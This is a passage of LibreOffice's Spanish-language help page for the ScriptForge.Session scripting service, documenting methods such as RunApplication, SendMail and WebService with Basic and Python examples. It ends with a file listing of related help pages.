  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    bas = CreateScriptService("Basic")
    a = bas.CreateUnoService("com.sun.star.sheet.FunctionAccess")
    result = session.HasUnoMethod(a, "callFunction")
    bas.MsgBox(result) # True
  </code></pre></div>


<a id="HasUnoProperty"></a>
  
  <a id="bm_id511587477832348"></a>
    <meta itemprop="keywords" content="Session service,HasUnoProperty">
  
  <h2 id="hd_id521587477832241" dir="auto">HasUnoProperty</h2>
  <p id="par_id191587477832959" class="paragraph" dir="auto">Returns <span class="literal">True</span> if a UNO object has the given property. Returns <span class="literal">False</span> when the property is not found or when an argument is invalid.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id821626818816336" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.HasUnoProperty(unoobject: uno, propertyname: str): bool</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id121587477832805" class="paragraph" dir="auto"><span class="emph">unoobject</span>: el objeto que se inspeccionará.</p>
  <p id="par_id701587477832750" class="paragraph" dir="auto"><span class="emph">propertyname</span>: the property as a case-sensitive string</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim svc As Variant
    svc = CreateUnoService("com.sun.star.sheet.FunctionAccess")
    MsgBox session.HasUnoProperty(svc, "Wildcards")
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    bas = CreateScriptService("Basic")
    a = bas.CreateUnoService("com.sun.star.sheet.FunctionAccess")
    result = session.HasUnoProperty(a, "Wildcards")
    bas.MsgBox(result) # True
  </code></pre></div>


<a id="OpenURLInBrowser"></a>
  
  <a id="bm_id321601129640799"></a>
    <meta itemprop="keywords" content="Session service,OpenURLInBrowser">
  
  <h2 id="hd_id971601129640909" dir="auto">OpenURLInBrowser</h2>
  <p id="par_id97160112964017" class="paragraph" dir="auto">Abre un localizador uniforme de recursos (un <a target="_top" href="es/text/shared/00/00000002.html#URL">URL</a>, por sus siglas en inglés) en el navegador predeterminado.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id831626819024511" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.OpenURLInBrowser(url: str)</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id241601129640549" class="paragraph" dir="auto"><span class="emph">url</span>: el URL para abrir.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    ' Basic
    session.OpenURLInBrowser("help.libreoffice.org/")
  </code></pre></div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    # Python
    session.OpenURLInBrowser("help.libreoffice.org/")
  </code></pre></div>


<a id="RunApplication"></a>
  
  <a id="bm_id121582819697896"></a>
    <meta itemprop="keywords" content="Session service,RunApplication">
  
  <h2 id="hd_id511582819697896" dir="auto">RunApplication</h2>
  <p id="par_id311582819697897" class="paragraph" dir="auto">Ejecuta una orden arbitraria del sistema y devuelve <span class="literal">Verdadero</span> si se inició con éxito.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id691626819239862" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.RunApplication(command: str, parameters: str): bool</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id461582819697898" class="paragraph" dir="auto"><span class="emph">command</span>: The command to execute. This may be an executable file or a document which is registered with an application so that the system knows what application to launch for that document. This method equally starts .bat or shell scripts.The command must be expressed in the current <span class="literal">SF_FileSystem.FileNaming</span> notation.</p>
  <p id="par_id611582819697899" class="paragraph" dir="auto"><span class="emph">parameters</span>: A list of space separated parameters as a single string. The method does not validate the given parameters, but only passes them to the specified command.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    session.RunApplication("Notepad.exe")
    session.RunApplication("C:\\myFolder\\myDocument.odt")
    session.RunApplication("kate", "/home/user/install.txt") ' GNU/Linux
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    session.RunApplication("Notepad.exe")
    session.RunApplication(r"C:\\myFolder\\myDocument.odt")
    session.RunApplication("kate", "/home/user/install.txt") # GNU/Linux
  </code></pre></div>


<a id="SendMail"></a>
  
  <a id="bm_id601601030349204"></a>
    <meta itemprop="keywords" content="Session service,SendMail">
  
  <h2 id="hd_id561601030349199" dir="auto">SendMail</h2>
  <p id="par_id131601030349755" class="paragraph" dir="auto">Send a message - with optional attachments - to recipients from the user's mail client. The message may be edited by the user before sending or, alternatively, be sent immediately.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id691626819545788" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.SendMail(recipient: str, cc: str = '', bcc: str = '', subject: str = '', body: str = '', filenames: str = '', editmessage: bool = True)</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id701601030349896" class="paragraph" dir="auto"><span class="emph">recipient</span>: una dirección electrónica (el destinatario del campo «A»).</p>
  <p id="par_id571601030349904" class="paragraph" dir="auto"><span class="emph">cc</span>: una lista de direcciones de correo electrónico separadas por comas (los destinatarios «con copia»).</p>
  <p id="par_id961601031043346" class="paragraph" dir="auto"><span class="emph">bcc</span>: una lista de direcciones de correo electrónico separadas por comas (los destinatarios «con copia oculta»).</p>
  <p id="par_id891601031050814" class="paragraph" dir="auto"><span class="emph">subject</span>: la cabecera del mensaje.</p>
  <p id="par_id191601031056673" class="paragraph" dir="auto"><span class="emph">body</span>: el contenido del mensaje como un texto sin formato.</p>
  <p id="par_id511601031063269" class="paragraph" dir="auto"><span class="emph">filenames</span>: una lista de nombres de archivo separados por comas. Cada uno de los nombres de archivo debe respetar la notación de <span class="literal">SF_FileSystem.FileNaming</span>.</p>
  <p id="par_id161601032784063" class="paragraph" dir="auto"><span class="emph">editmessage</span>: When <span class="literal">True</span> (default), the message is edited before being sent.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    session.SendMail("[email protected]" _
        , Cc := "[email protected], [email protected]" _
        , FileNames := "C:\myFile1.txt, C:\myFile2.txt")
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    session.SendMail("[email protected]",
                     cc="[email protected], [email protected]"
                     filenames=r"C:\myFile1.txt, C:\myFile2.txt")
  </code></pre></div>


<a id="SetPDFExportOptions"></a>
  
  <a id="bm_id571582816563070"></a>
    <meta itemprop="keywords" content="Session service,SetPDFExportOptions">
  
  <h2 id="hd_id551582816583371" dir="auto">SetPDFExportOptions</h2>
  <p id="par_id111582816583005" class="paragraph" dir="auto">Modifies the PDF export settings defined in the <span class="menuitem">PDF Options</span> dialog, which can be accessed by choosing <span class="menuitem">File - Export as - Export as PDF</span>.</p>
  <p id="par_id181638385131806" class="paragraph" dir="auto">Calling this method changes the actual values set in the <span class="menuitem">PDF Options</span> dialog, which are used by the <span class="literal">ExportAsPDF</span> method from the <span class="literal">Document</span> service.</p>
  <p id="par_id391638385313847" class="paragraph" dir="auto">This method returns <span class="literal">True</span> when successful.</p>
  <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id751638383457321" dir="auto">Read the <a target="_blank" href="https://wiki.openoffice.org/wiki/API/Tutorials/PDF_export">PDF Export wiki page</a> to learn more about all available options.</p></div>
</div>
<br>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id701626811351011" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.SetPDFExportOptions(pdfoptions: obj): bool</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id771582816585233" class="paragraph" dir="auto"><span class="emph">pdfoptions</span>: <span class="literal">Dictionary</span> object that defines the PDF export settings to be changed. Each key-value pair represents an export option and the value that will be set in the dialog.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <p id="par_id141638386087986" class="paragraph" dir="auto">The following example changes the maximum image resolution to 150 dpi and exports the current document as a PDF file.</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim newSettings As Object, oDoc As Object
    Set oDoc = CreateScriptService("Document")
    Set newSettings = CreateScriptService("Dictionary")
    newSettings.Add("ReduceImageResolution", True)
    newSettings.Add("MaxImageResolution", 150)
    session.SetPDFExportOptions(newSettings)
    oDoc.ExportAsPDF("C:\Documents\myFile.pdf", Overwrite := True)
  </code></pre></div>
  <div class="embedded">
<a id="Basic_Only"></a>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id701621038131185" dir="auto">Este método está disponible únicamente para secuencias <span class="emph">BASIC</span>.</p></div>
</div>
<br>
</div>


<a id="UnoMethods"></a>
  
  <a id="bm_id701587478024358"></a>
    <meta itemprop="keywords" content="Session service,UnoMethods">
  
  <h2 id="hd_id861587478024365" dir="auto">UnoMethods</h2>
  <p id="par_id321587478024997" class="paragraph" dir="auto">Returns a list of the methods callable from an UNO object. The list is a zero-based array of strings and may be empty.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id341626819941177" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.UnoMethods(unoobject: uno): str[0..*]</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id251587478024311" class="paragraph" dir="auto"><span class="emph">unoobject</span>: el objeto que se inspeccionará.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim svc : svc = CreateUnoService("com.sun.star.sheet.FunctionAccess")
    Dim methods : methods = session.UnoMethods(svc)
    Dim msg as String
    For Each m in methods
        msg = msg &amp; m &amp; Chr(13)
    Next m
    MsgBox msg
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    bas = CreateScriptService("Basic")
    a = bas.CreateUnoService("com.sun.star.sheet.FunctionAccess")
    methods = session.UnoMethods(a)
    msg = "\n".join(methods)
    bas.MsgBox(msg)
  </code></pre></div>


<a id="UnoProperties"></a>
  
  <a id="bm_id57158747834361"></a>
    <meta itemprop="keywords" content="Session service,UnoProperties">
  
  <h2 id="hd_id101587478343870" dir="auto">UnoProperties</h2>
  <p id="par_id141587478343306" class="paragraph" dir="auto">Returns a list of the properties of an UNO object. The list is a zero-based array of strings and may be empty.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="bas_id91626820631150" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.UnoProperties(unoobject: uno): str[0..*]</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id241587478343323" class="paragraph" dir="auto"><span class="emph">unoobject</span>: el objeto que se inspeccionará.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim svc As Variant
    svc = CreateUnoService("com.sun.star.sheet.FunctionAccess")
    MsgBox SF_Array.Contains(session.UnoProperties(svc), "Wildcards") ' True
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    bas = CreateScriptService("Basic")
    svc = bas.CreateUnoService("com.sun.star.sheet.FunctionAccess")
    properties = session.UnoProperties(a)
    b = "Wildcards" in properties
    bas.MsgBox(str(b)) # True
  </code></pre></div>


<a id="UnoObjectType"></a>
  
  <a id="bm_id221582820251346"></a>
    <meta itemprop="keywords" content="Session service,UnoObjectType">
  
  <h2 id="hd_id751582820251347" dir="auto">UnoObjectType</h2>
  <p id="par_id371582820251347" class="paragraph" dir="auto">Identify the type of a UNO object as a string.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id121626821532107" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.UnoObjectType(unoobject: uno): str</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id921582820251349" class="paragraph" dir="auto"><span class="emph">unoobject</span>: The object to identify.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim svc As Variant, txt As String
    svc = CreateUnoService("com.sun.star.system.SystemShellExecute")
    txt = session.UnoObjectType(svc) ' "com.sun.star.comp.system.SystemShellExecute"
    svc = CreateUnoStruct("com.sun.star.beans.Property")
    txt = session.UnoObjectType(svc) ' "com.sun.star.beans.Property"
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    bas = CreateScriptService("Basic")
    svc = bas.CreateUnoService("com.sun.star.system.SystemShellExecute")
    txt = session.UnoObjectType(svc) # "com.sun.star.comp.system.SystemShellExecute"
    svc = bas.CreateUnoService("com.sun.star.beans.Property")
    txt = session.UnoObjectType(svc) # "com.sun.star.beans.Property"
  </code></pre></div>


<a id="WebService"></a>
  
  <a id="bm_id561582821057372"></a>
    <meta itemprop="keywords" content="Session service,WebService">
  
  <h2 id="hd_id101582821057372" dir="auto">WebService</h2>
  <p id="par_id341582821057373" class="paragraph" dir="auto">Get some web content from a URI.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id941626821793360" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.WebService(uri: str): str</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id771582821057374" class="paragraph" dir="auto"><span class="emph">uri</span>: URI address of the web service.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    session.WebService("wiki.documentfoundation.org/api.php?" _
        &amp; "hidebots=1&amp;days=7&amp;limit=50&amp;action=feedrecentchanges&amp;feedformat=rss")
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    session.WebService(("wiki.documentfoundation.org/api.php?" 
                       "hidebots=1&amp;days=7&amp;limit=50&amp;action=feedrecentchanges&amp;feedformat=rss"))
  </code></pre></div>


  <div class="embedded">
<a id="SF_InternalUse"></a>
      <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id851506659675843" dir="auto">Todas las rutinas o identificadores BASIC de <span class="literal">ScriptForge</span> precedidas por guion bajo «_» están reservadas para uso interno. No deben utilizarse en macros BASIC o secuencias Python.</p></div>
</div>
<br>
    </div>

<a id="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a id="related"></a><span class="emph">Temas relacionados</span></p>
<div class="relatedbody" itemprop="mentions">
  <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/03104200.html">Array Function</a></p></div>
  <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/calc_functions.html">Using Calc Functions in Macros</a></p></div>
  <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/guide/basic_2_python.html">Invocar secuencias de Python desde Basic</a></p></div>
  <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_basic.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Basic</span></a></p></div>
  <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_filesystem.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">FileSystem</span></a></p></div>
</div>
</div>

</div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03/sf_session.xhp" target="_blank">/text/sbasic/shared/03/sf_session.xhp</a></p>
<p dir="auto">Title is: Servicio ScriptForge.Session</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
avail_release.html File 8.05 KB 0644
lib_ScriptForge.html File 54.61 KB 0644
lib_depot.html File 5.35 KB 0644
lib_euro.html File 7.64 KB 0644
lib_formwizard.html File 5.38 KB 0644
lib_gimmicks.html File 7.76 KB 0644
lib_importwiz.html File 7.59 KB 0644
lib_schedule.html File 5.47 KB 0644
lib_script.html File 5.91 KB 0644
lib_template.html File 5.37 KB 0644
lib_tools.html File 74.88 KB 0644
lib_wikieditor.html File 5.62 KB 0644
sf_array.html File 84.5 KB 0644
sf_base.html File 45.49 KB 0644
sf_basic.html File 78.88 KB 0644
sf_calc.html File 209.75 KB 0644
sf_chart.html File 35.85 KB 0644
sf_database.html File 66.35 KB 0644
sf_dataset.html File 59.17 KB 0644
sf_datasheet.html File 42.59 KB 0644
sf_dialog.html File 164.91 KB 0644
sf_dialogcontrol.html File 92.57 KB 0644
sf_dictionary.html File 42.93 KB 0644
sf_document.html File 87.26 KB 0644
sf_exception.html File 47.22 KB 0644
sf_filesystem.html File 106.92 KB 0644
sf_form.html File 68.52 KB 0644
sf_formcontrol.html File 71.36 KB 0644
sf_formdocument.html File 24.99 KB 0644
sf_intro.html File 28.11 KB 0644
sf_l10n.html File 41.17 KB 0644
sf_menu.html File 36.53 KB 0644
sf_methods.html File 15.38 KB 0644
sf_platform.html File 32.07 KB 0644
sf_popupmenu.html File 32.73 KB 0644
sf_region.html File 48.56 KB 0644
sf_services.html File 13.42 KB 0644
sf_session.html File 58.96 KB 0644
sf_string.html File 125.2 KB 0644
sf_textstream.html File 28.87 KB 0644
sf_timer.html File 23.87 KB 0644
sf_toc.html File 136.53 KB 0644
sf_toolbar.html File 20.46 KB 0644
sf_toolbarbutton.html File 25.53 KB 0644
sf_ui.html File 63.35 KB 0644
sf_unittest.html File 62.35 KB 0644
sf_writer.html File 24.55 KB 0644
Filemanager